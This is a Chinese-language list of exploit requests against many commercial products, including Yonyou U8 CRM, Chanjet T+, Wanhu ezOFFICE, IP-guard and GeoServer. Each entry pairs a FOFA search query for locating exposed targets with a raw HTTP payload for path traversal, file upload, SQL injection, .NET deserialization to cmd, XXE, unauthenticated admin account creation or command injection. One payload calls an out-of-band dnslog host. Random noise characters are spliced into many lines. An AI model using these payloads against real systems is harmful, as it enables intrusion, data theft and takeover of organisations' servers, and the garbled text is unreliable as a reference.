6 R0 }! z! I0 Q1 ^- ~% l  mFOFA：body="/pf/portal/login/css/fonts/style.css"
GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
, u/ f* z- N+ Z' ~1 w5 z, kHost: x.x.x.x
: @% c5 j+ S7 ~6 fCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
: L% P+ f. d7 L) C. X) P5 X: \$ ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ J# O0 o3 W, l' W! S/ h9 YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
% w; p7 {9 {- S1 r! jIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
7 G0 l* k5 K4 i8 tConnection: close


4 _6 X( q6 r& k0 ~
! N6 [' L- z" b/ a& l48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
" {- }8 S' U  q, S0 b( vPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
9 A; D$ R/ X& XHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ t8 R6 h  ~6 e# |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
" ^8 h3 i- _) A' c- KContent-Disposition: form-data; name="file"; filename="s.php"
1231
  N! u  {$ p4 D" w5 {3 zContent-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
2 u) ?4 {# ~! l  [# K. `upload
, n4 k  S& j1 G5 J) x------269520967239406871642430066855--


2 R* w$ a, D6 F. i5 V& v6 a49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

8 C0 I. t9 X$ y8 i' U' p. XPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, S7 f$ ]4 L0 u! [2 y! M, mAccept-Encoding: gzip, deflate
$ @5 g8 \% @, w  K, BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! A7 P; f3 i  C0 x+ F! U* zConnection: close
; q$ l, V* R: k; C% o: k1 @5 P. ?$ kContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

$ O0 F- q1 ~# u0 l-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

wersqqmlumloqa
( u& e6 K$ \" G* o2 p9 h-----------------------------vvv3wdayqv3yppdxvn3w
9 }5 n( @$ ?1 yContent-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--

* V' H) G4 v# F, y# Z
http://x.x.x.x/tmpfile/updB3CB.tmp.php
# q! S' e! f- j' W" E' U
50. QDocs Smart School 6.4.1 filterRecords SQL注入
: C+ p# u6 J1 t1 F# mFOFA：body="close closebtnmodal"
( E6 ?# P  s5 L% M+ mPOST /course/filterRecords/ HTTP/1.1
4 B% m( i  d! m% BHost: x.x.x.x
) m' I3 I7 T9 M& m% UUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
0 [, A* a8 D5 Q2 B1 lAccept-Language: en
% y4 w8 D% {* kContent-Type: application/x-www-form-urlencoded
* F  `& e5 b, {) q4 j* T# \- OAccept-Encoding: gzip
- b3 J9 W$ X) g
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

7 b7 Y5 A3 h5 C/ g7 E  J
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
* D$ X$ A* C, W1 QFOFA：app="云时空社会化商业ERP系统"
& X/ E- r5 Z0 ?GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
3 x. z/ F( R6 V' U2 [/ g' MUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
0 v. A& R! w5 f& n) TAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


# w1 p) p0 z2 Y! p% {, d8 o52. 泛微E-Office json_common.php sql注入
- q/ ~6 _8 |1 m7 f1 W3 k# MFOFA：app="泛微-EOffice"
8 C# g* o; n2 V( u+ EPOST /building/json_common.php HTTP/1.1
& V' k9 f5 e( g8 kHost: 192.168.86.128:8097
! c2 o6 ^7 g4 G% |: e" A& m7 \User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 F  W; K* D9 o4 w4 I2 T% FConnection: close
* @- }7 b. e3 {0 h( S* M4 VContent-Length: 87
Accept: */*
0 J! R7 p+ Y; B/ HAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
8 J3 S" D# S+ r6 v% G  T: |2 j- b
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
6 b6 X( }& d0 K4 ]6 B: p

/ V& j+ g: U" q3 n53. 迪普 DPTech VPN Service 任意文件上传
9 d' h  `/ o& W. d: m9 YFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
# `+ |$ B3 n& z+ _. @2 _# Q
* V# w5 F( I  z0 l. S+ G6 |: n
; U% j. C9 H1 @& N, L3 _( _54. 畅捷通T+ getstorewarehousebystore 远程代码执行
  T& m# c" R) j, z3 O$ d! m0 SFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
% Z. v6 q: b) n$ @* K. O"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
+ d) m2 _" G8 |+ F
6 _! w! V% v5 M% c# J
) Y; M$ j* W: }  O8 x) W2 t8 W完整数据包
9 d& d6 z/ A/ m5 ]$ z5 ZPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
8 F" K+ T4 E6 ?% z+ h% S, h! y! fHost: x.x.x.x
' m+ ~* [, k" D# n2 ]: oUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
) J0 p$ C+ n2 r- Q) DContent-Length: 593

{
"storeID":{
/ @/ a! C( U+ F, [) W. x "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
' M9 Q0 {. Q* W' @. @  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ B5 {2 f1 ^/ n. G8 _$ D/ O    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ t2 B7 @* R8 _# K* R  Q    "FileName":"cmd",
0 G5 H6 B0 @: u* Z    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
: D: j, g9 I# f" W}

# O  l& y5 |- Z7 u2 E. E
" |6 [8 D( |' o3 e/ I第二步，访问如下url
, v" ?( a) D3 C9 [( a8 D/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
4 V; z  e/ r# m* {8 m/ W: k
0 p/ Y+ d! R1 m7 [
55. 畅捷通T+ getdecallusers信息泄露
' x+ A, p# a5 z) ]" |" m! s5 nFOFA：app="畅捷通-TPlus"
+ X8 N' w* ], @+ o( L) B第一步，通过
* J* w. c  H  G+ E6 S' p/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
$ D7 U) y8 q4 M& e" D+ g
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
6 A* R& N  |: @; H; ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
* ?2 d4 \- j! |! J% s    "ObjectInstance":{
& V3 k! h3 t# m$ X       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 s' y1 I! h% m           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
9 n& H2 Z0 u7 T$ _7 L    }
7 I0 m8 |! S- U  }
& k+ \: b7 R' P+ J3 k3 d/ ~}
, H( W: x0 {  v9 `/ [

' t" _) P% _& [, u2 c! j( Y57. 畅捷通T+ keyEdit.aspx SQL注入
8 S% I' g* Q( J* M( o; l& r# q+ s) RFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
. i* E% d* c( ^. ^$ k3 OUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
6 n$ }  s' P$ h( wAccept-Encoding: gzip, deflate
6 z7 C( \1 @* |9 ?3 S5 N! ^Connection: close
  ^6 Z* {) n4 u8 o

58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
3 {$ }6 g( Q4 Q7 xGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
' j) k+ K' B+ y( b2 YConnection: close
+ ]" V4 P' A0 r; C. p% u/ J' Y9 N9 M5 V
% |0 j) Q* E8 l  z6 ]7 p
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
6 v3 `1 @+ H( i) f4 _8 ], ZHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
+ F0 s4 [  ?' P/ pConnection: close
0 g$ e" v, T6 u$ M/ F( m  y0 IContent-Length: 1669
( J: b; L/ G7 n7 Q( B! RAccept: */*
. V' b. x. _7 K. sAccept-Language: en
/ h: J* v0 k. H; y6 }0 Q; PContent-Type: application/x-www-form-urlencoded
& t- \+ Y( q- J& F% [  VAccept-Encoding: gzip
$ [+ g( S7 O- D' H  \6 Q# D+ x* j
PAYLOAD
' H: c2 ~. ?$ O. Y: H/ l
# @4 p2 ?* O& r
  [% T& s, A4 [$ O( T( ^60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
2 X* e$ h2 ^- XGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# v8 ?0 l  \# _6 yAccept-Encoding: gzip, deflate
9 ~* V4 E. ?* m( M( w3 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 W6 X/ y4 `. j  ?# k. N
+ o% o* e1 h( Y$ o
+ T3 R/ V. ]" e: z! I4 w4 Q0 O  I61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
7 j' F  V) @- pPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
1 _: ], B* Y! o/ oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: M9 @/ g& m9 N- MConnection: close
: A$ e- B' ]& x3 pContent-Length: 27
) z* h" _6 L# E3 s* BAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
5 f' C0 f* h1 M1 ^Content-Type: application/x-www-form-urlencoded

& s- i* u- l! A4 H2 J" B8uxssX66eqrqtKObcVa0kid98xa
$ A! c0 P* A" B# R- O

62. IP-guard WebServer 远程命令执行
' H; g6 J5 u) v/ Q' o0 M$ }5 mFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
: R' e$ j) v' {' h$ @$ R, j5 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
( N9 E: U, W) V9 o; Z6 H& S3 GAccept-Language: en
# k4 [7 r: \. N1 cAccept-Encoding: gzip

1 b6 X9 {" _, C7 e# Q0 C
+ ^% Z  C$ @4 p5 X访问
+ t. W$ }% g, g
4 k, @7 I% g3 G% q2 P3 w: JGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
" f" H" n" S/ ?' l$ s0 u' EHost: x.x.x.x


63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
: A/ y* v) u3 m% t) X$ y& pFOFA：icon_hash="2030860561"
: G& k; J8 B/ ~$ w. I* gPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
1 D) x" Q0 R9 YHost: your-ip
3 K! \2 u' m6 G0 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% }" V! |" s# t- i, P  [$ I( |$ TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
$ [7 Q' D$ ?' d" KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
1 @0 \- W: r# k' Z$ o
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

' E/ E1 D) v. K* w2 K  e. X1 _64. 捷诚管理信息系统CWSFinanceCommon SQL注入
1 T2 e* S% G. lFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
* u( U. @5 ^( ^User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
" @) {; b# n& L0 m6 _Accept: */*
& o6 ^4 R2 A" P* j, `Accept-Language: en
Content-Type: text/xml; charset=utf-8
" j, z+ M. i9 B; F& PAccept-Encoding: gzip
+ Z9 `2 s2 V' o8 ^& ^! Z& h( r
% `6 Q$ ~' @: e5 z<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
3 X5 g" q7 q3 H# ?0 |: Z2 F<soap:Body>
3 }# e9 O, A9 x2 f    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
4 }$ C8 {$ U3 o+ _  </soap:Body>
</soap:Envelope>

) P' e( N. g. j6 J
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
1 _7 Q+ g$ D8 e! vHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
1 p+ m# A/ a0 O6 f6 F+ @5 v( IAccept-Encoding: gzip, deflate
+ Y2 Q/ P+ E7 K, q+ a. v" p9 HAccept: */*
  A6 u+ y( @8 G) g# s3 L  z% r/ P* jConnection: close
Accept-Language: en
Content-Length: 174
) Q8 g/ L& w1 |, V" d* N" q' F
1 y( t$ t, W3 m3 E5 p" F1 ZoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
1 \. |4 ?8 X$ f8 R3 t

' c7 {, W% k5 @% m. I7 S9 X66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
8 l' R5 o3 `( K8 fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
4 Q! H2 f1 T8 s* s3 PConnection: close
Accept: */*
( N) d$ y) f- jAccept-Language: en
Accept-Encoding: gzip

/ j( \. I; o% k2 \# Y& `
! o8 c& w0 B$ w第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
5 q- h9 m8 I; d  j
1 ], c( i% d* c5 |67. 万户ezOFFICE wpsservlet任意文件上传
* S6 [8 ]% h" l) l- x5 V  {FOFA：app="万户网络-ezOFFICE"
- \, {3 p& D  Q: |6 ~+ SnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
; i+ q! ]0 N7 P$ T2 `% n. z0 H8 GPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
6 c$ K. K% S% V; ?7 L- F# c7 DContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
  D5 N, B* C' _5 L8 PDNT: 1
  u5 j3 s0 M# Y8 U1 q& YUpgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
% A( M/ U  E0 |  f  _--ufuadpxathqvxfqnuyuqaozvseiueerp--

7 P7 f' j/ @3 @5 B, J* {4 N
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
$ S) B7 h1 O+ v
  r  {7 V3 b& H  g3 r' w3 s; \9 I4 e68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
4 O0 e: f! F' T# dGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ H# M! G& s/ B9 [$ H, TAccept-Language: zh-CN,zh;q=0.9
2 N8 j9 n( p9 Z. F; `% hConnection: close

7 [( Z$ u0 S6 l) s
+ J% K& u" L9 [( ^' }) G69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
+ ?7 W) Q4 W) Y1 ], G7 {GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
. F* s. ^- a9 ?0 QUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
& J' X( ~! J) s' x/ ?. c1 U. PAccept-Encoding: gzip, deflate
5 W3 A% u/ C% u9 F+ KAccept: */*
8 `& S" L; [& C% ^3 jConnection: keep-alive

' `5 V* ^4 R! H
: T, G1 y; j0 e/ s% l, c70. 万户ezEIP success 命令执行
  g* j1 W7 g" C! s: tFOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
/ Z( z& [: ?* p* G6 H/ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& E% m" p, F# |SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
. w$ Z/ Q: h1 x0 B. @: u9 s& s0 @Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702
+ C( _- C* Q6 n- E7 u& c
% n* O1 c+ I& W) ?0 k# Q__VIEWSTATE=PAYLOAD

! N( K+ H5 q6 n  i% {
0 V2 H* j3 M8 N7 D! F5 |' ?" @9 D71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
1 `8 b6 M# ?1 K: O( LGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
0 J$ z; s3 h. G( r" |* `) E9 D- BHost: x.x.x.xx.x.x.x
3 \2 X8 }0 Q$ A$ _, v/ w# i, a% Z0 {User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
, c+ \, m0 O; @% ?  ]0 G7 pConnection: close
# B  s( y2 _* I: K+ h# @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# n3 x( N( @% U, iAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
2 S" C  O# s2 T8 j) W

72. 致远OA getAjaxDataServlet XXE
8 f0 d. Q+ o3 s- U; PFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
5 L* r0 `3 C& \3 C! I$ X2 A: e- M# IUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
& f! A0 d/ r& @# C3 bContent-Length: 583
Content-Type: application/x-www-form-urlencoded
# g& j: u3 H  \. |/ I/ y' ~Accept-Encoding: gzip
6 w" F6 d) ~7 V+ {" \4 n3 x
2 r4 p8 B" J) [2 A( ]1 o! OS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
2 }: x- g. P. I. d6 DHost:
8 }2 h4 c* }: ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
3 Q5 l4 I2 n" c# b! E

$ p2 ~  u) Y7 G8 @8 e4 f74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
& x0 s5 Z  j7 ?* K9 l  X; MPAYLOAD
2 F* @$ ^! V7 {# W  C
) ]# N, n2 R8 K5 Z5 C) j( u+ e75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
; ?5 m; f0 U0 V+ {0 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
6 h0 c- y! r7 x: gAccept-Language: en
Accept-Encoding: gzip

* K; y4 U  W3 [  `7 P" Z
" @0 P# _. S& i$ d6 YGET /cgi-bin/test28256.txt HTTP/1.1
. _0 C, H% r" o  ]  h( e/ `  c/ AHost: x.x.x.x


& y. v5 |" ]% G% |76. 新开普掌上校园服务管理平台service.action远程命令执行
$ u1 q1 H0 @4 @7 iFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
* y4 r$ k2 a0 Q4 MHost: x.x.x.x
0 W$ D) n% l' {: _3 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
1 J' B5 V3 \5 q2 N) }  ^Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
5 k6 @& }8 G2 mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
, C. G7 @% T8 n6 u& t
8 C3 S0 |* e1 c: k9 P{
7 ^8 I! _* S; ?) D' f"command": "GetFZinfo",
( U1 b2 J( P0 T( d  b' {7 ~  P7 u  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
